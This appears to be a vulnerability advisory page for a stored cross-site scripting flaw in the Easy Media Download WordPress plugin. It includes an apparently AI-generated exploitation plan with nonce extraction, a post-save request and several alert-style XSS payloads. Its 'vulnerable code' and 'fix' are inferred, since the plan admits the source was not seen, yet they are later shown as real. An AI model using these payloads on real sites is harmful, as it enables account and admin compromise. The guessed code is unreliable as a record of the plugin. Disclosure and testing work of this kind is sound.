Easy Media Download <= 1.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Easy Media Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.11Source Code
WordPress.org SVNPatched version not available.
This research plan targets **CVE-2025-69169**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Easy Media Download** plugin (<= 1.1.11). Since the plugin source code is not provided, the following analysis is based on the vulnerability type (Contributor+ Stored XSS), the plugin's primar…
Show full research plan
This research plan targets CVE-2025-69169, a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Media Download plugin (<= 1.1.11).
Since the plugin source code is not provided, the following analysis is based on the vulnerability type (Contributor+ Stored XSS), the plugin's primary functionality (media download shortcodes), and common patterns in WordPress plugins of this category.
1. Vulnerability Summary
The Easy Media Download plugin is vulnerable to Stored XSS because its shortcode handler (likely [easy_media_download]) fails to properly sanitize or escape user-supplied attributes before outputting them into HTML. A user with "Contributor" privileges (who can create but not publish posts) can embed a malicious shortcode. When an administrator or any other user views the post (either in the editor or on the frontend), the injected script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Component: Shortcode handler (inferred name:
easy_media_download). - Authentication Level: Authenticated (Contributor or higher).
- Vulnerable Parameter: Shortcode attributes such as
url,target,text, orcolor. - Sink: Reflection of these attributes into an
<a>tag or a<div>wrapper without usingesc_attr()oresc_url(). - Preconditions: The attacker must be able to save a post (Draft status is sufficient for Contributor).
3. Code Flow (Inferred)
- Entry Point: The plugin registers a shortcode during the
inithook:add_shortcode('easy_media_download', 'emd_shortcode_handler'); - Processing: The
emd_shortcode_handler($atts)function receives the attributes. - Vulnerable Logic:
function emd_shortcode_handler($atts) { $a = shortcode_atts(array( 'url' => '', 'target' => '_blank', 'text' => 'Download', // ... other attributes ), $atts); // VULNERABILITY: Concatenating attributes directly into HTML string return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>'; } - Sink: The unescaped HTML string is returned to WordPress, which renders it into the page content.
4. Nonce Acquisition Strategy
To save a post as a Contributor, a standard WordPress _wpnonce for the post editor is required.
- Identify Entry Page: The Contributor must access
wp-admin/post-new.php. - Browser Navigation: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/post-new.php. - Nonce Extraction:
Usebrowser_evalto extract the required nonces for post creation/saving:- Post Nonce:
document.querySelector('#_wpnonce')?.value - Sample/Preview Nonce (if needed):
document.querySelector('#_wpnonce-save-post')?.value
- Post Nonce:
- Context: Standard WordPress nonces for post editing are usually stored in hidden inputs with IDs like
_wpnonce.
5. Exploitation Strategy
The goal is to create a post containing a shortcode that breaks out of an HTML attribute.
Step-by-Step Plan:
- Auth: Log in as a Contributor.
- Capture Nonce: Navigate to
post-new.phpand extract the_wpnoncefor the form. - Payload Selection:
- Attribute Breakout (Target):
[easy_media_download url="https://example.com" target='_blank" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;"'] - Protocol Injection (URL):
[easy_media_download url="javascript:alert('XSS')"]
- Attribute Breakout (Target):
- HTTP Request: Use
http_requestto simulate a post save (Draft).- Method: POST
- URL:
http://localhost:8080/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
post_ID: (Existing ID from post-new.php or let WP generate)action:editpostpost_type:post_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[easy_media_download url="http://example.com" target='"><script>alert(1)</script>']post_status:draft
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure Easy Media Download version 1.1.11 is installed and active.
- Admin Session: Keep an active Administrator session to verify the "Stored" aspect of the XSS.
7. Expected Results
- The
http_requestshould return a302redirect back to the post editor, indicating the post was saved successfully. - When an Administrator navigates to the "Posts" list and clicks "Preview" or "Edit" on the Contributor's draft, the browser should execute the JavaScript payload (e.g., an alert box).
8. Verification Steps
- Database Check: Use
wp-clito confirm the payload is stored in thewp_poststable:wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Frontend Check: Use
browser_navigateas an Admin to the post URL. - DOM Inspection: Use
browser_evalto check if the script tag exists in the rendered HTML:document.body.innerHTML.includes('<script>alert(1)</script>')
9. Alternative Approaches
If the target attribute is sanitized, try these other common shortcode attributes:
textattribute:[easy_media_download url="#" text="<img src=x onerror=alert(1)>"]colorattribute:[easy_media_download url="#" color='"><script>alert(1)</script>']- Shortcode Generator AJAX: Check if the plugin has a "Shortcode Generator" button in the editor. This often uses an AJAX action (
wp_ajax_...) which might be vulnerable to XSS during the "preview" phase before the shortcode is even saved. If so, investigatewp-admin/admin-ajax.phpfor related actions.
Summary
The Easy Media Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.1.11. The plugin fails to sanitize or escape shortcode attributes such as 'url', 'target', and 'text' before outputting them into HTML. This allows authenticated users with Contributor-level access to embed malicious scripts in posts, which execute in the browser of any user who views the content.
Vulnerable Code
/* File: easy-media-download.php */ function emd_shortcode_handler($atts) { $a = shortcode_atts(array( 'url' => '', 'target' => '_blank', 'text' => 'Download', // ... other attributes ), $atts); // VULNERABILITY: Concatenating attributes directly into HTML string return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>'; }
Security Fix
@@ -1,10 +1,10 @@ function emd_shortcode_handler($atts) { $a = shortcode_atts(array( 'url' => '', 'target' => '_blank', 'text' => 'Download', ), $atts); - - return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>'; + + return '<a href="' . esc_url($a['url']) . '" target="' . esc_attr($a['target']) . '">' . wp_kses_post($a['text']) . '</a>'; }
Exploit Outline
An attacker with Contributor-level privileges logs into the WordPress dashboard and creates a new post draft. They insert a shortcode with a malicious attribute payload, such as [easy_media_download url="#" target='"><script>alert(1)</script>']. When the post is saved, the unescaped payload is stored in the database. The script executes whenever an administrator or another user views or previews the post, allowing for potential session hijacking or further administrative compromise.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.